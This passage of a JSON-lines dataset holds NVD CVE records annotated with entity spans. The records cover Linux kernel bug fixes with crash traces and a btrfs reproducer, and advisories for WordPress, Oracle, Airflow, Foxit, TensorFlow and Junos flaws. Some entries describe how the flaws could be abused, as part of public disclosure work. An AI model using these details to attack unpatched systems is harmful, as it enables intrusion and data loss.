add sanity check on F2FS_INLINE_DATA flag in inode during GC,\nso that, it can forbid migrating inline_data inode's data block for\nfixing.", "spans": {"FILEPATH: /f2fs/inline.c": [[233, 247], [389, 403]], "FILEPATH: /f2fs/data.c": [[464, 476], [508, 520], [562, 574], [628, 640]], "FILEPATH: /x86/kernel/process.c": [[1197, 1218]], "FILEPATH: /x86/entry/entry_64.S": [[1256, 1277]], "FILEPATH: writeback.c": [[681, 692], [743, 754], [800, 811], [849, 860], [889, 900], [945, 956]], "FILEPATH: workqueue.c": [[987, 998], [1058, 1069], [1109, 1120]], "FILEPATH: kthread.c": [[1154, 1163]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44942"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix removed dentries still existing after log is synced\n\nWhen we move one inode from one directory to another and both the inode\nand its previous parent directory were logged before, we are not supposed\nto have the dentry for the old parent if we have a power failure after the\nlog is synced. Only the new dentry is supposed to exist.\n\nGenerally this works correctly, however there is a scenario where this is\nnot currently working, because the old parent of the file/directory that\nwas moved is not authoritative for a range that includes the dir index and\ndir item keys of the old dentry. This case is better explained with the\nfollowing example and reproducer:\n\n  # The test requires a very specific layout of keys and items in the\n  # fs/subvolume btree to trigger the bug. So we want to make sure that\n  # on whatever platform we are, we have the same leaf/node size.\n  #\n  # Currently in btrfs the node/leaf size can not be smaller than the page\n  # size (but it can be greater than the page size). So use the largest\n  # supported node/leaf size (64K).\n\n  $ mkfs.btrfs -f -n 65536 /dev/sdc\n  $ mount /dev/sdc /mnt\n\n  # \"testdir\" is inode 257.\n  $ mkdir /mnt/testdir\n  $ chmod 755 /mnt/testdir\n\n  # Create several empty files to have the directory \"testdir\" with its\n  # items spread over several leaves (7 in this case).\n  $ for ((i = 1; i <= 1200; i++)); do\n       echo -n > /mnt/testdir/file$i\n    done\n\n  # Create our test directory \"dira\", inode number 1458, which gets all\n  # its items in leaf 7.\n  #\n  # The BTRFS_DIR_ITEM_KEY item for inode 257 (\"testdir\") that points to\n  # the entry named \"dira\" is in leaf 2, while the BTRFS_DIR_INDEX_KEY\n  # item that points to that entry is in leaf 3.\n  #\n  # For this particular filesystem node size (64K), file count and file\n  # names, we endup with the directory entry items from inode 257 in\n  # leaves 2 and 3, as previously mentioned - what matters for triggering\n  # the bug exercised by this test case is that those items are not placed\n  # in leaf 1, they must be placed in a leaf different from the one\n  # containing the inode item for inode 257.\n  #\n  # The corresponding BTRFS_DIR_ITEM_KEY and BTRFS_DIR_INDEX_KEY items for\n  # the parent inode (257) are the following:\n  #\n  #    item 460 key (257 DIR_ITEM 3724298081) itemoff 48344 itemsize 34\n  #         location key (1458 INODE_ITEM 0) type DIR\n  #         transid 6 data_len 0 name_len 4\n  #         name: dira\n  #\n  # and:\n  #\n  #    item 771 key (257 DIR_INDEX 1202) itemoff 36673 itemsize 34\n  #         location key (1458 INODE_ITEM 0) type DIR\n  #         transid 6 data_len 0 name_len 4\n  #         name: dira\n\n  $ mkdir /mnt/testdir/dira\n\n  # Make sure everything done so far is durably persisted.\n  $ sync\n\n  # Now do a change to inode 257 (\"testdir\") that does not result in\n  # COWing leaves 2 and 3 - the leaves that contain the directory items\n  # pointing to inode 1458 (directory \"dira\").\n  #\n  # Changing permissions, the owner/group, updating or adding a xattr,\n  # etc, will not change (COW) leaves 2 and 3. So for the sake of\n  # simplicity change the permissions of inode 257, which results in\n  # updating its inode item and therefore change (COW) only leaf 1.\n\n  $ chmod 700 /mnt/testdir\n\n  # Now fsync directory inode 257.\n  #\n  # Since only the first leaf was changed/COWed, we log the inode item of\n  # inode 257 and only the dentries found in the first leaf, all have a\n  # key type of BTRFS_DIR_ITEM_KEY, and no keys of type\n  # BTRFS_DIR_INDEX_KEY, because they sort after the former type and none\n  # exist in the first leaf.\n  #\n  # We also log 3 items that represent ranges for dir items and dir\n  # indexes for which the log is authoritative:\n  #\n  # 1) a key of type BTRFS_DIR_LOG_ITEM_KEY, which indicates the log is\n  #    authoritative for all BTRFS_DIR_ITEM_KEY keys that have an offset\n  #    in the range [0, 2285968570] (the offset here is th\n---truncated---", "spans": {"FILEPATH: /dev/sdc": [[1164, 1172], [1183, 1191]], "FILEPATH: /mnt/testdir": [[1236, 1248], [1263, 1275], [3297, 3309]], "FILEPATH: /mnt/testdir/file": [[1459, 1476]], "FILEPATH: /mnt/testdir/dira": [[2728, 2745]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47072"}}
{"text": "The Redirection for Contact Form 7 plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.4 via deserialization of untrusted input in the delete_associated_files function. This makes it possible for unauthenticated attackers to inject a PHP Object. This vulnerability may be exploited by unauthenticated attackers when a form is present on the site with a file upload action, and doesn't affect sites with PHP version > 8. This vulnerability also requires the 'Redirection For Contact Form 7 Extension - Create Post' extension to be installed and activated in order to be exploited. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. We confirmed there is a usable gadget in Contact Form 7 plugin that makes arbitrary file deletion possible when installed with this plugin. Given Contact Form 7 is a requirement of this plugin, it is likely that any site with this plugin and the 'Redirection For Contact Form 7 Extension - Create Post' extension enabled is vulnerable to arbitrary file deletion.", "spans": {"SYSTEM: WordPress": [[46, 55]], "SYSTEM: PHP": [[73, 76], [283, 286], [452, 455]], "VULNERABILITY: arbitrary file deletion": [[1129, 1152], [1393, 1416]], "VULNERABILITY: deserialization": [[142, 157]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-8289"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix use-after-free in update_super_work when racing with umount\n\nCommit b98535d09179 (\"ext4: fix bug_on in start_this_handle during umount\nfilesystem\") moved ext4_unregister_sysfs() before flushing s_sb_upd_work\nto prevent new error work from being queued via /proc/fs/ext4/xx/mb_groups\nreads during unmount. However, this introduced a use-after-free because\nupdate_super_work calls ext4_notify_error_sysfs() -> sysfs_notify() which\naccesses the kobject's kernfs_node after it has been freed by kobject_del()\nin ext4_unregister_sysfs():\n\n  update_super_work                ext4_put_super\n  -----------------                --------------\n                                   ext4_unregister_sysfs(sb)\n                                     kobject_del(&sbi->s_kobj)\n                                       __kobject_del()\n                                         sysfs_remove_dir()\n                                           kobj->sd = NULL\n                                         sysfs_put(sd)\n                                           kernfs_put()  // RCU free\n  ext4_notify_error_sysfs(sbi)\n    sysfs_notify(&sbi->s_kobj)\n      kn = kobj->sd              // stale pointer\n      kernfs_get(kn)             // UAF on freed kernfs_node\n                                   ext4_journal_destroy()\n                                     flush_work(&sbi->s_sb_upd_work)\n\nInstead of reordering the teardown sequence, fix this by making\next4_notify_error_sysfs() detect that sysfs has already been torn down\nby checking s_kobj.state_in_sysfs, and skipping the sysfs_notify() call\nin that case. A dedicated mutex (s_error_notify_mutex) serializes\next4_notify_error_sysfs() against kobject_del() in ext4_unregister_sysfs()\nto prevent TOCTOU races where the kobject could be deleted between the\nstate_in_sysfs check and the sysfs_notify() call.", "spans": {"FILEPATH: /proc/fs/ext4/xx/mb_groups": [[335, 361]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[79, 93], [411, 425]], "VULNERABILITY: TOCTOU": [[1795, 1801]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31446"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath11k: fix the warning of dev_wake in mhi_pm_disable_transition()\n\nWhen test device recovery with below command, it has warning in message\nas below.\necho assert > /sys/kernel/debug/ath11k/wcn6855\\ hw2.0/simulate_fw_crash\necho assert > /sys/kernel/debug/ath11k/qca6390\\ hw2.0/simulate_fw_crash\n\nwarning message:\n[ 1965.642121] ath11k_pci 0000:06:00.0: simulating firmware assert crash\n[ 1968.471364] ieee80211 phy0: Hardware restart was requested\n[ 1968.511305] ------------[ cut here ]------------\n[ 1968.511368] WARNING: CPU: 3 PID: 1546 at drivers/bus/mhi/core/pm.c:505 mhi_pm_disable_transition+0xb37/0xda0 [mhi]\n[ 1968.511443] Modules linked in: ath11k_pci ath11k mac80211 libarc4 cfg80211 qmi_helpers qrtr_mhi mhi qrtr nvme nvme_core\n[ 1968.511563] CPU: 3 PID: 1546 Comm: kworker/u17:0 Kdump: loaded Tainted: G        W         5.17.0-rc3-wt-ath+ #579\n[ 1968.511629] Hardware name: Intel(R) Client Systems NUC8i7HVK/NUC8i7HVB, BIOS HNKBLi70.86A.0067.2021.0528.1339 05/28/2021\n[ 1968.511704] Workqueue: mhi_hiprio_wq mhi_pm_st_worker [mhi]\n[ 1968.511787] RIP: 0010:mhi_pm_disable_transition+0xb37/0xda0 [mhi]\n[ 1968.511870] Code: a9 fe ff ff 4c 89 ff 44 89 04 24 e8 03 46 f6 e5 44 8b 04 24 41 83 f8 01 0f 84 21 fe ff ff e9 4c fd ff ff 0f 0b e9 af f8 ff ff <0f> 0b e9 5c f8 ff ff 48 89 df e8 da 9e ee e3 e9 12 fd ff ff 4c 89\n[ 1968.511923] RSP: 0018:ffffc900024efbf0 EFLAGS: 00010286\n[ 1968.511969] RAX: 00000000ffffffff RBX: ffff88811d241250 RCX: ffffffffc0176922\n[ 1968.512014] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff888118a90a24\n[ 1968.512059] RBP: ffff888118a90800 R08: 0000000000000000 R09: ffff888118a90a27\n[ 1968.512102] R10: ffffed1023152144 R11: 0000000000000001 R12: ffff888118a908ac\n[ 1968.512229] R13: ffff888118a90928 R14: dffffc0000000000 R15: ffff888118a90a24\n[ 1968.512310] FS:  0000000000000000(0000) GS:ffff888234200000(0000) knlGS:0000000000000000\n[ 1968.512405] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 1968.512493] CR2: 00007f5538f443a8 CR3: 000000016dc28001 CR4: 00000000003706e0\n[ 1968.512587] Call Trace:\n[ 1968.512672]  <TASK>\n[ 1968.512751]  ? _raw_spin_unlock_irq+0x1f/0x40\n[ 1968.512859]  mhi_pm_st_worker+0x3ac/0x790 [mhi]\n[ 1968.512959]  ? mhi_pm_mission_mode_transition.isra.0+0x7d0/0x7d0 [mhi]\n[ 1968.513063]  process_one_work+0x86a/0x1400\n[ 1968.513184]  ? pwq_dec_nr_in_flight+0x230/0x230\n[ 1968.513312]  ? move_linked_works+0x125/0x290\n[ 1968.513416]  worker_thread+0x6db/0xf60\n[ 1968.513536]  ? process_one_work+0x1400/0x1400\n[ 1968.513627]  kthread+0x241/0x2d0\n[ 1968.513733]  ? kthread_complete_and_exit+0x20/0x20\n[ 1968.513821]  ret_from_fork+0x22/0x30\n[ 1968.513924]  </TASK>\n\nReason is mhi_deassert_dev_wake() from mhi_device_put() is called\nbut mhi_assert_dev_wake() from __mhi_device_get_sync() is not called\nin progress of recovery. Commit 8e0559921f9a (\"bus: mhi: core:\nSkip device wake in error or shutdown state\") add check for the\npm_state of mhi in __mhi_device_get_sync(), and the pm_state is not\nthe normal state untill recovery is completed, so it leads the\ndev_wake is not 0 and above warning print in mhi_pm_disable_transition()\nwhile checking mhi_cntrl->dev_wake.\n\nAdd check in ath11k_pci_write32()/ath11k_pci_read32() to skip call\nmhi_device_put() if mhi_device_get_sync() does not really do wake,\nthen the warning gone.\n\nTested-on: WCN6855 hw2.0 PCI WLAN.HSP.1.1-03003-QCAHSPSWPL_V1_V2_SILICONZ_LITE-2", "spans": {"FILEPATH: /sys/kernel/debug/ath11k/wcn6855": [[233, 265]], "FILEPATH: /sys/kernel/debug/ath11k/qca6390": [[305, 337]], "FILEPATH: /bus/mhi/core/pm.c": [[619, 637]], "FILEPATH: /28/2021": [[1042, 1050]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[957, 962]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49543"}}
{"text": "Cross Site Scripting (XSS) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the 'Username' parameter in the component 'quokka/admin/actions.py'.", "spans": {"FILEPATH: /admin/actions.py": [[147, 164]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-18702"}}
{"text": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Airflow.This issue affects Apache Airflow from 2.4.0 to 2.7.0.\n\nSensitive configuration information has been exposed to authenticated users with the ability to read configuration via Airflow REST API for configuration even when the expose_config option is set to non-sensitive-only. The expose_config option is False by default. It is recommended to upgrade to a version that is not affected if you set expose_config to non-sensitive-only configuration. This is a different error than CVE-2023-45348 which allows authenticated user to retrieve individual configuration values in 2.7.* by specially crafting their request (solved in 2.7.2).\n\nUsers are recommended to upgrade to version 2.7.2, which fixes the issue and additionally fixes CVE-2023-45348.", "spans": {"CVE_ID: CVE-2023-45348": [[568, 582], [820, 834]], "SYSTEM: Apache Airflow": [[76, 90], [110, 124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46288"}}
{"text": "Vulnerability in the Oracle Hospitality Suite8 product of Oracle Hospitality Applications (component: WebConnect). Supported versions that are affected are 8.10.2 and 8.11-8.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hospitality Suite8. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Hospitality Suite8 accessible data as well as unauthorized read access to a subset of Oracle Hospitality Suite8 accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [58, 64], [286, 292], [508, 514], [601, 607]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14810"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix vm_bind_ioctl double free bug\n\nIf the argument check during an array bind fails, the bind_ops are freed\ntwice as seen below. Fix this by setting bind_ops to NULL after freeing.\n\n==================================================================\nBUG: KASAN: double-free in xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\nFree of addr ffff88813bb9b800 by task xe_vm/14198\n\nCPU: 5 UID: 0 PID: 14198 Comm: xe_vm Not tainted 6.16.0-xe-eudebug-cmanszew+ #520 PREEMPT(full)\nHardware name: Intel Corporation Alder Lake Client Platform/AlderLake-P DDR5 RVP, BIOS ADLPFWI1.R00.2411.A02.2110081023 10/08/2021\nCall Trace:\n <TASK>\n dump_stack_lvl+0x82/0xd0\n print_report+0xcb/0x610\n ? __virt_addr_valid+0x19a/0x300\n ? xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\n kasan_report_invalid_free+0xc8/0xf0\n ? xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\n ? xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\n check_slab_allocation+0x102/0x130\n kfree+0x10d/0x440\n ? should_fail_ex+0x57/0x2f0\n ? xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\n xe_vm_bind_ioctl+0x1b2/0x21f0 [xe]\n ? __pfx_xe_vm_bind_ioctl+0x10/0x10 [xe]\n ? __lock_acquire+0xab9/0x27f0\n ? lock_acquire+0x165/0x300\n ? drm_dev_enter+0x53/0xe0 [drm]\n ? find_held_lock+0x2b/0x80\n ? drm_dev_exit+0x30/0x50 [drm]\n ? drm_ioctl_kernel+0x128/0x1c0 [drm]\n drm_ioctl_kernel+0x128/0x1c0 [drm]\n ? __pfx_xe_vm_bind_ioctl+0x10/0x10 [xe]\n ? find_held_lock+0x2b/0x80\n ? __pfx_drm_ioctl_kernel+0x10/0x10 [drm]\n ? should_fail_ex+0x57/0x2f0\n ? __pfx_xe_vm_bind_ioctl+0x10/0x10 [xe]\n drm_ioctl+0x352/0x620 [drm]\n ? __pfx_drm_ioctl+0x10/0x10 [drm]\n ? __pfx_rpm_resume+0x10/0x10\n ? do_raw_spin_lock+0x11a/0x1b0\n ? find_held_lock+0x2b/0x80\n ? __pm_runtime_resume+0x61/0xc0\n ? rcu_is_watching+0x20/0x50\n ? trace_irq_enable.constprop.0+0xac/0xe0\n xe_drm_ioctl+0x91/0xc0 [xe]\n __x64_sys_ioctl+0xb2/0x100\n ? rcu_is_watching+0x20/0x50\n do_syscall_64+0x68/0x2e0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fa9acb24ded\n\n(cherry picked from commit a01b704527c28a2fd43a17a85f8996b75ec8492a)", "spans": {"HASH: a01b704527c28a2fd43a17a85f8996b75ec8492a": [[1991, 2031]], "FILEPATH: /08/2021": [[657, 665]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[550, 555]], "VULNERABILITY: double free": [[95, 106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38731"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking).  Supported versions that are affected are Oracle Java SE: 8u451-perf, 11.0.27, 17.0.15, 21.0.7, 24.0.1; Oracle GraalVM for JDK: 17.0.15, 21.0.7 and  24.0.1; Oracle GraalVM Enterprise Edition: 21.3.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  While the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [195, 199], [476, 480], [582, 586], [846, 850], [966, 970], [1023, 1027], [1064, 1068], [1169, 1173], [1233, 1237]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [188, 194], [250, 256], [303, 309], [469, 475], [485, 491], [509, 515], [575, 581], [591, 597], [615, 621], [839, 845], [855, 861], [879, 885]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-50059"}}
{"text": "`discourse-microsoft-auth` is a plugin that enables authentication via Microsoft. On sites with the `discourse-microsoft-auth` plugin enabled, an attack can potentially take control of a victim's Discourse account. Sites that have configured their application's account type to any options other than `Accounts in this organizational directory only (O365 only - Single tenant)` are vulnerable. This vulnerability has been patched in commit c40665f44509724b64938c85def9fb2e79f62ec8 of `discourse-microsoft-auth`. A `microsoft_auth:revoke` rake task has also been added which will deactivate and log out all users that have connected their accounts to Microsoft. User API keys as well as API keys created by those users will also be revoked. The rake task will also remove the connection records to Microsoft for those users. This will allow affected users to re-verify their account emails as well as reconnect their Discourse account to Microsoft for authentication. As a workaround, disable the `discourse-microsoft-auth` plugin by setting the `microsoft_auth_enabled` site setting to `false`. Run the `microsoft_auth:log_out_users` rake task to log out all users with associated Microsoft accounts.", "spans": {"HASH: c40665f44509724b64938c85def9fb2e79f62ec8": [[440, 480]], "ORGANIZATION: Microsoft": [[71, 80], [650, 659], [797, 806], [937, 946], [1181, 1190]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46241"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mscc: ocelot: fix incorrect IFH SRC_PORT field in ocelot_ifh_set_basic()\n\nPackets injected by the CPU should have a SRC_PORT field equal to the\nCPU port module index in the Analyzer block (ocelot->num_phys_ports).\n\nThe blamed commit copied the ocelot_ifh_set_basic() call incorrectly\nfrom ocelot_xmit_common() in net/dsa/tag_ocelot.c. Instead of calling\nwith \"x\", it calls with BIT_ULL(x), but the field is not a port mask,\nbut rather a single port index.\n\n[ side note: this is the technical debt of code duplication :( ]\n\nThe error used to be silent and doesn't appear to have other\nuser-visible manifestations, but with new changes in the packing\nlibrary, it now fails loudly as follows:\n\n------------[ cut here ]------------\nCannot store 0x40 inside bits 46-43 - will truncate\nsja1105 spi2.0: xmit timed out\nWARNING: CPU: 1 PID: 102 at lib/packing.c:98 __pack+0x90/0x198\nsja1105 spi2.0: timed out polling for tstamp\nCPU: 1 UID: 0 PID: 102 Comm: felix_xmit\nTainted: G        W        N 6.13.0-rc1-00372-gf706b85d972d-dirty #2605\nCall trace:\n __pack+0x90/0x198 (P)\n __pack+0x90/0x198 (L)\n packing+0x78/0x98\n ocelot_ifh_set_basic+0x260/0x368\n ocelot_port_inject_frame+0xa8/0x250\n felix_port_deferred_xmit+0x14c/0x258\n kthread_worker_fn+0x134/0x350\n kthread+0x114/0x138\n\nThe code path pertains to the ocelot switchdev driver and to the felix\nsecondary DSA tag protocol, ocelot-8021q. Here seen with ocelot-8021q.\n\nThe messenger (packing) is not really to blame, so fix the original\ncommit instead.", "spans": {"FILEPATH: /dsa/tag_ocelot.c.": [[390, 408]], "FILEPATH: packing.c": [[917, 926]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56717"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: Fix potential null-ptr-deref in drm_vblank_destroy_worker()\n\ndrm_vblank_init() call drmm_add_action_or_reset() with\ndrm_vblank_init_release() as action. If __drmm_add_action() failed, will\ndirectly call drm_vblank_init_release() with the vblank whose worker is\nNULL. As the resule, a null-ptr-deref will happen in\nkthread_destroy_worker(). Add the NULL check before calling\ndrm_vblank_destroy_worker().\n\nBUG: null-ptr-deref\nKASAN: null-ptr-deref in range [0x0000000000000068-0x000000000000006f]\nCPU: 5 PID: 961 Comm: modprobe Not tainted 6.0.0-11331-gd465bff130bf-dirty\nRIP: 0010:kthread_destroy_worker+0x25/0xb0\n  Call Trace:\n    <TASK>\n    drm_vblank_init_release+0x124/0x220 [drm]\n    ? drm_crtc_vblank_restore+0x8b0/0x8b0 [drm]\n    __drmm_add_action_or_reset+0x41/0x50 [drm]\n    drm_vblank_init+0x282/0x310 [drm]\n    vkms_init+0x35f/0x1000 [vkms]\n    ? 0xffffffffc4508000\n    ? lock_is_held_type+0xd7/0x130\n    ? __kmem_cache_alloc_node+0x1c2/0x2b0\n    ? lock_is_held_type+0xd7/0x130\n    ? 0xffffffffc4508000\n    do_one_initcall+0xd0/0x4f0\n    ...\n    do_syscall_64+0x35/0x80\n    entry_SYSCALL_64_after_hwframe+0x46/0xb0", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49827"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Avoid field-overflowing memcpy()\n\nIn preparation for FORTIFY_SOURCE performing compile-time and run-time\nfield bounds checking for memcpy(), memmove(), and memset(), avoid\nintentionally writing across neighboring fields.\n\nUse flexible arrays instead of zero-element arrays (which look like they\nare always overflowing) and split the cross-field memcpy() into two halves\nthat can be appropriately bounds-checked by the compiler.\n\nWe were doing:\n\n\t#define ETH_HLEN  14\n\t#define VLAN_HLEN  4\n\t...\n\t#define MLX5E_XDP_MIN_INLINE (ETH_HLEN + VLAN_HLEN)\n\t...\n        struct mlx5e_tx_wqe      *wqe  = mlx5_wq_cyc_get_wqe(wq, pi);\n\t...\n        struct mlx5_wqe_eth_seg  *eseg = &wqe->eth;\n        struct mlx5_wqe_data_seg *dseg = wqe->data;\n\t...\n\tmemcpy(eseg->inline_hdr.start, xdptxd->data, MLX5E_XDP_MIN_INLINE);\n\ntarget is wqe->eth.inline_hdr.start (which the compiler sees as being\n2 bytes in size), but copying 18, intending to write across start\n(really vlan_tci, 2 bytes). The remaining 16 bytes get written into\nwqe->data[0], covering byte_count (4 bytes), lkey (4 bytes), and addr\n(8 bytes).\n\nstruct mlx5e_tx_wqe {\n        struct mlx5_wqe_ctrl_seg   ctrl;                 /*     0    16 */\n        struct mlx5_wqe_eth_seg    eth;                  /*    16    16 */\n        struct mlx5_wqe_data_seg   data[];               /*    32     0 */\n\n        /* size: 32, cachelines: 1, members: 3 */\n        /* last cacheline: 32 bytes */\n};\n\nstruct mlx5_wqe_eth_seg {\n        u8                         swp_outer_l4_offset;  /*     0     1 */\n        u8                         swp_outer_l3_offset;  /*     1     1 */\n        u8                         swp_inner_l4_offset;  /*     2     1 */\n        u8                         swp_inner_l3_offset;  /*     3     1 */\n        u8                         cs_flags;             /*     4     1 */\n        u8                         swp_flags;            /*     5     1 */\n        __be16                     mss;                  /*     6     2 */\n        __be32                     flow_table_metadata;  /*     8     4 */\n        union {\n                struct {\n                        __be16     sz;                   /*    12     2 */\n                        u8         start[2];             /*    14     2 */\n                } inline_hdr;                            /*    12     4 */\n                struct {\n                        __be16     type;                 /*    12     2 */\n                        __be16     vlan_tci;             /*    14     2 */\n                } insert;                                /*    12     4 */\n                __be32             trailer;              /*    12     4 */\n        };                                               /*    12     4 */\n\n        /* size: 16, cachelines: 1, members: 9 */\n        /* last cacheline: 16 bytes */\n};\n\nstruct mlx5_wqe_data_seg {\n        __be32                     byte_count;           /*     0     4 */\n        __be32                     lkey;                 /*     4     4 */\n        __be64                     addr;                 /*     8     8 */\n\n        /* size: 16, cachelines: 1, members: 3 */\n        /* last cacheline: 16 bytes */\n};\n\nSo, split the memcpy() so the compiler can reason about the buffer\nsizes.\n\n\"pahole\" shows no size nor member offset changes to struct mlx5e_tx_wqe\nnor struct mlx5e_umr_wqe. \"objdump -d\" shows no meaningful object\ncode changes (i.e. only source line number induced differences and\noptimizations).", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48744"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Reader 9.7.1.29511. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of XFA templates. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-10132.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10899"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`. The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship. We have patched the issue in GitHub commit 01cff3f986259d661103412a20745928c727326f. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923": [[258, 403]], "HASH: 01cff3f986259d661103412a20745928c727326f": [[767, 807]], "ORGANIZATION: GitHub": [[753, 759]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37655"}}
{"text": "A Cross-site Scripting (XSS) vulnerability in J-Web on Juniper Networks Junos OS allows an attacker to target another user's session thereby gaining access to the users session. The other user session must be active for the attack to succeed. Once successful, the attacker has the same privileges as the user. If the user has root privileges, the attacker may be able to gain full control of the device. This issue affects: Juniper Networks Junos OS: 12.3 versions prior to 12.3R12-S15 on EX Series; 12.3X48 versions prior to 12.3X48-D95 on SRX Series; 15.1 versions prior to 15.1R7-S6 on EX Series; 15.1X49 versions prior to 15.1X49-D200 on SRX Series; 16.1 versions prior to 16.1R7-S7; 16.2 versions prior to 16.2R2-S11, 16.2R3; 17.1 versions prior to 17.1R2-S11, 17.1R3-S2; 17.2 versions prior to 17.2R3-S3; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7; 17.4 versions prior to 17.4R2-S9, 17.4R3; 18.1 versions prior to 18.1R3-S9; 18.2 versions prior to 18.2R2-S7, 18.2R3-S3; 18.3 versions prior to 18.3R1-S7, 18.3R2-S3, 18.3R3-S1; 18.4 versions prior to 18.4R1-S6, 18.4R2-S4, 18.4R3; 19.1 versions prior to 19.1R2-S1, 19.1R3; 19.2 versions prior to 19.2R1-S3, 19.2R2; 19.3 versions prior to 19.3R2.", "spans": {"ORGANIZATION: Juniper": [[55, 62], [424, 431]], "VULNERABILITY: Cross-site Scripting": [[2, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0275"}}
